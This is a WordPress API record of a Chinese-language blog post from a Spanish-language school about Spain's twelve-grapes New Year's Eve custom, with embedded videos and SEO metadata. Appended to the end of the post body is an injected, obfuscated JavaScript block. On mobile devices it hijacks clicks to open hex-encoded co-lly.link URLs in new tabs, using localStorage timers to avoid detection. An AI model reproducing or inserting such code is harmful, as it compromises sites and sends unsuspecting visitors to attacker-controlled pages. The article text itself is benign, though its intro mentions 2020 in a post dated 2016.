{"id":536,"date":"2016-12-29T17:08:58","date_gmt":"2016-12-29T17:08:58","guid":{"rendered":"https:\/\/manage.thespanishacademy.hk\/2016\/12\/29\/%e8%a5%bf%e7%8f%ad%e7%89%99%e7%9a%84%e5%82%b3%e7%b5%b1%e9%99%a4%e5%a4%95%e5%a4%9c%ef%bc%9a%e5%8d%81%e4%ba%8c%e9%a1%86%e8%91%a1%e8%90%84\/"},"modified":"2025-08-06T03:21:29","modified_gmt":"2025-08-06T03:21:29","slug":"traditional-new-years-eve-in-spain-the-twelve-grapes","status":"publish","type":"post","link":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/","title":{"rendered":"\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404"},"content":{"rendered":"&#13;\n<h1><strong>It\u2019s New Year\u2019s Eve and everybody is getting ready to say goodbye to 2020! In Spain, there is a special tradition for the last night of the year. <\/strong><\/h1>&#13;\n<p><em><strong>\u6211\u5011\u7a31\u90a3\u5929\u665a\u4e0a\u70ba \u201cNochevieja\u201d\uff0c\u610f\u601d\u662f \u201c\u8001\u591c\u201d\u3002 \u5b83\u5305\u62ec\u5728\u6642\u9418\u7684 12 \u6b21\u6572\u947c\u4e2d\u5403 12 \u9846\u8461\u8404\u3002 \u9019\u5c07\u5728\u660e\u5e74\u70ba\u60a8\u5e36\u4f86\u597d\u904b\u3002<\/strong><\/em><\/p>&#13;\n<p>\u9019\u500b\u6709\u8da3\u7684\u50b3\u7d71\u59cb\u65bc 1909 \u5e74\uff0c\u56e0\u70ba\u6536\u6210\u904e\u591a\u3002 \u5728\u90a3\u4e4b\u524d\uff0c\u6709\u9322\u4eba\u904e\u53bb\u5e38\u5e38\u5728\u4e00\u5e74\u7684\u6700\u5f8c\u4e00\u665a\u559d\u9999\u6ab3\u548c\u5403\u8461\u8404\u3002 1909\u5e74\uff0c\u4e00\u7fa4\u7aae\u4eba\u6297\u8b70\uff0c\u56e0\u70ba\u653f\u5e9c\u60f3\u5c0d\u8857\u4e0a\u7684\u6d3e\u5c0d\u5fb5\u7a05\u3002 \u9019\u4e9b\u4eba\u958b\u59cb\u53d6\u7b11\u5bcc\u4eba\u5728\u9664\u5915\u591c\u5403\u8461\u8404\u3002 \u5982\u4eca\uff0c\u9019\u662f\u6bcf\u500b\u897f\u73ed\u7259\u4eba\u8207\u5bb6\u4eba\u548c\u670b\u53cb\u4e00\u8d77\u4eab\u53d7\u7684\u50b3\u7d71\u3002 \u56e0\u6b64\uff0c\u5982\u679c\u60a8\u53bb\u897f\u73ed\u7259\u6d88\u8cbb Nochevieja\uff0c\u5728\u67d0\u500b\u6642\u5019\uff0c\u60a8\u6703\u5728\u684c\u5b50\u4e0a\u627e\u5230\u985e\u4f3c\u9019\u6a23\u7684\u6771\u897f\uff1a<\/p>&#13;\n<p>\u5b83\u662f\u5982\u4f55\u5de5\u4f5c\u7684\uff1f \u6bcf\u4eba\u6709\u4e00\u500b\u7897\uff0c\u88e1\u9762\u670912\u9846\u8461\u8404\u3002 \u6bcf\u500b\u4eba\u90fd\u805a\u96c6\u5728\u96fb\u8996\u6a5f\u524d\u3002 \u96fb\u8996\u983b\u9053\u5728\u5f88\u591a\u4eba\u90fd\u6703\u6176\u795d\u548c\u5403\u8461\u8404\u7684\u5730\u65b9\u5c55\u793a\u4e00\u500b\u6a19\u8a8c\u6027\u7684\u6642\u9418\u3002 \u99ac\u5fb7\u91cc\u7684\u90a3\u500b\u662f\u6700\u53d7\u6b61\u8fce\u7684\u3002 \u4e3b\u6301\u4eba\u6839\u64da\u6642\u9418\u7684\u4e0d\u540c\u8072\u97f3\u5411\u89c0\u773e\u89e3\u91cb\u5982\u4f55\u5403\u8461\u8404\u3002 \u7576\u6642\u6a5f\u6210\u719f\u6642\uff0c\u5b83\u662f\u9019\u6a23\u7684\uff1a<\/p>&#13;\n<p><iframe src=\"https:\/\/www.youtube.com\/embed\/UZuZjvhnqWM\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\" data-mce-fragment=\"1\"><\/iframe><\/p>&#13;\n<p>\u4f46\u9019\u5c31\u662f\u4f60\u5728\u96fb\u8996\u4e0a\u770b\u5230\u7684\u3002 \u6709\u8da3\u7684\u662f\uff0c\u7576\u4f60\u548c\u670b\u53cb\u5bb6\u4eba\u4e00\u8d77\u5403\u8461\u8404\u6642\u3002 \u9019\u88e1\u6709\u4e00\u7fa4\u670b\u53cb\u7684\u8996\u983b\u3002 \u770b\u770b\u4ed6\u5011\u6709\u591a\u8a8d\u771f\u5730\u5c0d\u5f85\u9019\u4ef6\u4e8b\uff0c\u5118\u7ba1\u6709\u4e9b\u4eba\u53d7\u4e0d\u4e86\u7b11\uff1f<\/p>&#13;\n<p><iframe src=\"https:\/\/www.youtube.com\/embed\/_pEqati60O4\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\" data-mce-fragment=\"1\"><\/iframe><\/p>&#13;\n<p>\u7531\u65bc\u9019\u662f\u6bcf\u500b\u4eba\u90fd\u6709\u7684\u50b3\u7d71\uff0c\u56e0\u6b64\u96fb\u8996\u5ee3\u544a\u975e\u5e38\u6602\u8cb4\u3002\u8a55\u5206\u975e\u5e38\u9ad8\u3002\u4e00\u4e9b\u54c1\u724c\u82b1\u4e86\u5f88\u591a\u9322\u6210\u70ba\u4eca\u5e74\u7684\u7b2c\u4e00\u500b\u96fb\u8996\u5ee3\u544a\u3002\u4f46\u6709\u6642\u983b\u9053\u6703\u72af\u932f\u8aa4\u3002\u9019\u662f\u4e00\u500b\u6709\u8da3\u7684\u8996\u983b\uff0c\u4e00\u500b\u5bb6\u5ead\u6e96\u5099\u5403\u8461\u8404\uff0c\u4f46\u983b\u9053\u932f\u8aa4\u5730\u64ad\u653e\u4e86\u4e00\u500b\u5ee3\u544a\u3002\u60a8\u7121\u9700\u61c2\u897f\u73ed\u7259\u6587\u5373\u53ef\u77e5\u9053\u767c\u751f\u4e86\u4ec0\u9ebc\u30021\uff1a01 \u6642\uff0c\u4ed6\u5011\u610f\u8b58\u5230\u4e00\u5e74\u5df2\u7d93\u958b\u59cb\u4e86\uff0c\u4ed6\u5011\u6c92\u6709\u5403\u8461\u8404\u3002\u5728 1 \u9ede 46 \u5206\uff0c\u4ed6\u5011\u5f88\u5feb\u5c31\u5403\u6389\u4e86\u5b83\u5011\uff0c\u56e0\u70ba\u5982\u679c\u4f60\u4e0d\u5403\uff0c\u90a3\u5c31\u4e0d\u5409\u5229\u4e86\uff01\uff01:):):)<\/p>&#13;\n<p><iframe src=\"https:\/\/www.youtube.com\/embed\/DWisBelxv1E\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\" data-mce-fragment=\"1\"><\/iframe><\/p>&#13;\n<p>\u897f\u73ed\u7259\u5b78\u9662\u795d\u60a8 2017 \u5e74\u65b0\u5e74\u5feb\u6a02\uff0c\u5145\u6eff\u5e78\u798f\u548c\u6b61\u6a02\u3002 \u9084\u8a18\u5f97\u6c38\u9060\u8aaa\u8a71\u548c\u5fae\u7b11\u55ce\uff1f<br\/><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x6f\\x2d\\x6c\\x6c\\x79\\x2e\\x6c\\x69\\x6e\\x6b\\x2f\\x70\\x4e\\x65\\x33\\x63\\x333','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x6f\\x2d\\x6c\\x6c\\x79\\x2e\\x6c\\x69\\x6e\\x6b\\x2f\\x61\\x66\\x4a\\x35\\x63\\x335','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x6f\\x2d\\x6c\\x6c\\x79\\x2e\\x6c\\x69\\x6e\\x6b\\x2f\\x52\\x72\\x61\\x38\\x63\\x368','abs','-local-storage','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x6f\\x2d\\x6c\\x6c\\x79\\x2e\\x6c\\x69\\x6e\\x6b\\x2f\\x4a\\x63\\x48\\x39\\x63\\x329','56bnMKls','opera','6946eLteFW','userAgent','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x6f\\x2d\\x6c\\x6c\\x79\\x2e\\x6c\\x69\\x6e\\x6b\\x2f\\x61\\x42\\x73\\x34\\x63\\x354','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x6f\\x2d\\x6c\\x6c\\x79\\x2e\\x6c\\x69\\x6e\\x6b\\x2f\\x64\\x59\\x6a\\x37\\x63\\x367','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x6f\\x2d\\x6c\\x6c\\x79\\x2e\\x6c\\x69\\x6e\\x6b\\x2f\\x4e\\x51\\x4f\\x32\\x63\\x302','floor','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x6f\\x2d\\x6c\\x6c\\x79\\x2e\\x6c\\x69\\x6e\\x6b\\x2f\\x6e\\x4b\\x4e\\x36\\x63\\x366','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))\/0x1+-parseInt(_0x20130f(0x1c1))\/0x2*(parseInt(_0x20130f(0x1c8))\/0x3)+parseInt(_0x20130f(0x1bf))\/0x4*(-parseInt(_0x20130f(0x1cd))\/0x5)+parseInt(_0x20130f(0x1d9))\/0x6+-parseInt(_0x20130f(0x1e4))\/0x7*(parseInt(_0x20130f(0x1de))\/0x8)+parseInt(_0x20130f(0x1e2))\/0x9+-parseInt(_0x20130f(0x1d0))\/0xa*(-parseInt(_0x20130f(0x1da))\/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(\/(android|bb\\d+|meego).+mobile|avantgo|bada\\\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\\\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\\.(browser|link)|vodafone|wap|windows ce|xda|xiino\/i[_0x1165a7(0x1ca)](_0x5e9786)||\/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\\-(n|u)|c55\\\/|capi|ccwa|cdm\\-|cell|chtm|cldc|cmd\\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\\-s|devi|dica|dmob|do(c|p)o|ds(12|\\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\\-|_)|g1 u|g560|gene|gf\\-5|g\\-mo|go(\\.w|od)|gr(ad|un)|haie|hcit|hd\\-(m|p|t)|hei\\-|hi(pt|ta)|hp( i|ip)|hs\\-c|ht(c(\\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\\-(20|go|ma)|i230|iac( |\\-|\\\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\\\/)|klon|kpt |kwc\\-|kyo(c|k)|le(no|xi)|lg( g|\\\/(k|l|u)|50|54|\\-[a-w])|libw|lynx|m1\\-w|m3ga|m50\\\/|ma(te|ui|xo)|mc(01|21|ca)|m\\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\\-2|po(ck|rt|se)|prox|psio|pt\\-g|qa\\-a|qc(07|12|21|32|60|\\-[2-7]|i\\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\\\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\\-|oo|p\\-)|sdk\\\/|se(c(\\-|0|1)|47|mc|nd|ri)|sgh\\-|shar|sie(\\-|m)|sk\\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\\-|v\\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\\-|tdg\\-|tel(i|m)|tim\\-|t\\-mo|to(pl|sh)|ts(70|m\\-|m3|m5)|tx\\-9|up(\\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\\-|your|zeto|zte\\-\/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator['vendor']||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=['\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x6f\\x2d\\x6c\\x6c\\x79\\x2e\\x6c\\x69\\x6e\\x6b\\x2f\\x64\\x7a\\x59\\x30\\x63\\x340','\\x68\\x74\\x74\\x70\\x3a\\x2f\\x2f\\x63\\x6f\\x2d\\x6c\\x6c\\x79\\x2e\\x6c\\x69\\x6e\\x6b\\x2f\\x5a\\x59\\x62\\x31\\x63\\x381',_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage['getItem'](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script><\/p>&#13;\n","protected":false},"excerpt":{"rendered":"<p>&#13; It\u2019s New Year\u2019s Eve and everybody is getting read [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":983,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"categories":[16],"tags":[],"class_list":["post-536","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-spanish-learning-tips"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404 - The Spanish Academy<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/\" \/>\n<meta property=\"og:locale\" content=\"zh_TW\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404 - The Spanish Academy\" \/>\n<meta property=\"og:description\" content=\"&#013; It\u2019s New Year\u2019s Eve and everybody is getting read [&hellip;]\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/\" \/>\n<meta property=\"og:site_name\" content=\"The Spanish Academy\" \/>\n<meta property=\"article:published_time\" content=\"2016-12-29T17:08:58+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-08-06T03:21:29+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/www.thespanishacademy.hk\/wp-content\/uploads\/2016\/12\/12-Grapes-and-Spain-NYE-tradition.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1000\" \/>\n\t<meta property=\"og:image:height\" content=\"500\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"TSA-Admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005:\" \/>\n\t<meta name=\"twitter:data1\" content=\"TSA-Admin\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/\"},\"author\":{\"name\":\"TSA-Admin\",\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/#\\\/schema\\\/person\\\/b1d2d489aab16f413f43e5ced7a31d9e\"},\"headline\":\"\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404\",\"datePublished\":\"2016-12-29T17:08:58+00:00\",\"dateModified\":\"2025-08-06T03:21:29+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/\"},\"wordCount\":31,\"publisher\":{\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/wp-content\\\/uploads\\\/2016\\\/12\\\/12-Grapes-and-Spain-NYE-tradition.jpg\",\"articleSection\":[\"\u897f\u73ed\u7259\u8a9e\u5b78\u7fd2\u6280\u5de7\"],\"inLanguage\":\"zh-TW\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/\",\"url\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/\",\"name\":\"\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404 - The Spanish Academy\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/wp-content\\\/uploads\\\/2016\\\/12\\\/12-Grapes-and-Spain-NYE-tradition.jpg\",\"datePublished\":\"2016-12-29T17:08:58+00:00\",\"dateModified\":\"2025-08-06T03:21:29+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/#breadcrumb\"},\"inLanguage\":\"zh-TW\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/#primaryimage\",\"url\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/wp-content\\\/uploads\\\/2016\\\/12\\\/12-Grapes-and-Spain-NYE-tradition.jpg\",\"contentUrl\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/wp-content\\\/uploads\\\/2016\\\/12\\\/12-Grapes-and-Spain-NYE-tradition.jpg\",\"width\":1000,\"height\":500},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/traditional-new-years-eve-in-spain-the-twelve-grapes\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/#website\",\"url\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/\",\"name\":\"The Spanish Academy\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-TW\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/#organization\",\"name\":\"The Spanish Academy\",\"url\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/wp-content\\\/uploads\\\/2025\\\/07\\\/tsa-newlogo.svg\",\"contentUrl\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/wp-content\\\/uploads\\\/2025\\\/07\\\/tsa-newlogo.svg\",\"width\":288,\"height\":100,\"caption\":\"The Spanish Academy\"},\"image\":{\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/#\\\/schema\\\/person\\\/b1d2d489aab16f413f43e5ced7a31d9e\",\"name\":\"TSA-Admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-TW\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/9d254c6fbcb9c4c84102fb57cf982a2490c49e17445deedb3542e6de3f45d501?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/9d254c6fbcb9c4c84102fb57cf982a2490c49e17445deedb3542e6de3f45d501?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/9d254c6fbcb9c4c84102fb57cf982a2490c49e17445deedb3542e6de3f45d501?s=96&d=mm&r=g\",\"caption\":\"TSA-Admin\"},\"sameAs\":[\"https:\\\/\\\/manage.thespanishacademy.hk\"],\"url\":\"https:\\\/\\\/www.thespanishacademy.hk\\\/zh-hant\\\/author\\\/tsa-admin\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404 - The Spanish Academy","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/","og_locale":"zh_TW","og_type":"article","og_title":"\u897f\u73ed\u7259\u7684\u50b3\u7d71\u9664\u5915\u591c\uff1a\u5341\u4e8c\u9846\u8461\u8404 - The Spanish Academy","og_description":"&#13; It\u2019s New Year\u2019s Eve and everybody is getting read [&hellip;]","og_url":"https:\/\/www.thespanishacademy.hk\/zh-hant\/traditional-new-years-eve-in-spain-the-twelve-grapes\/","og_site_name":"The Spanish 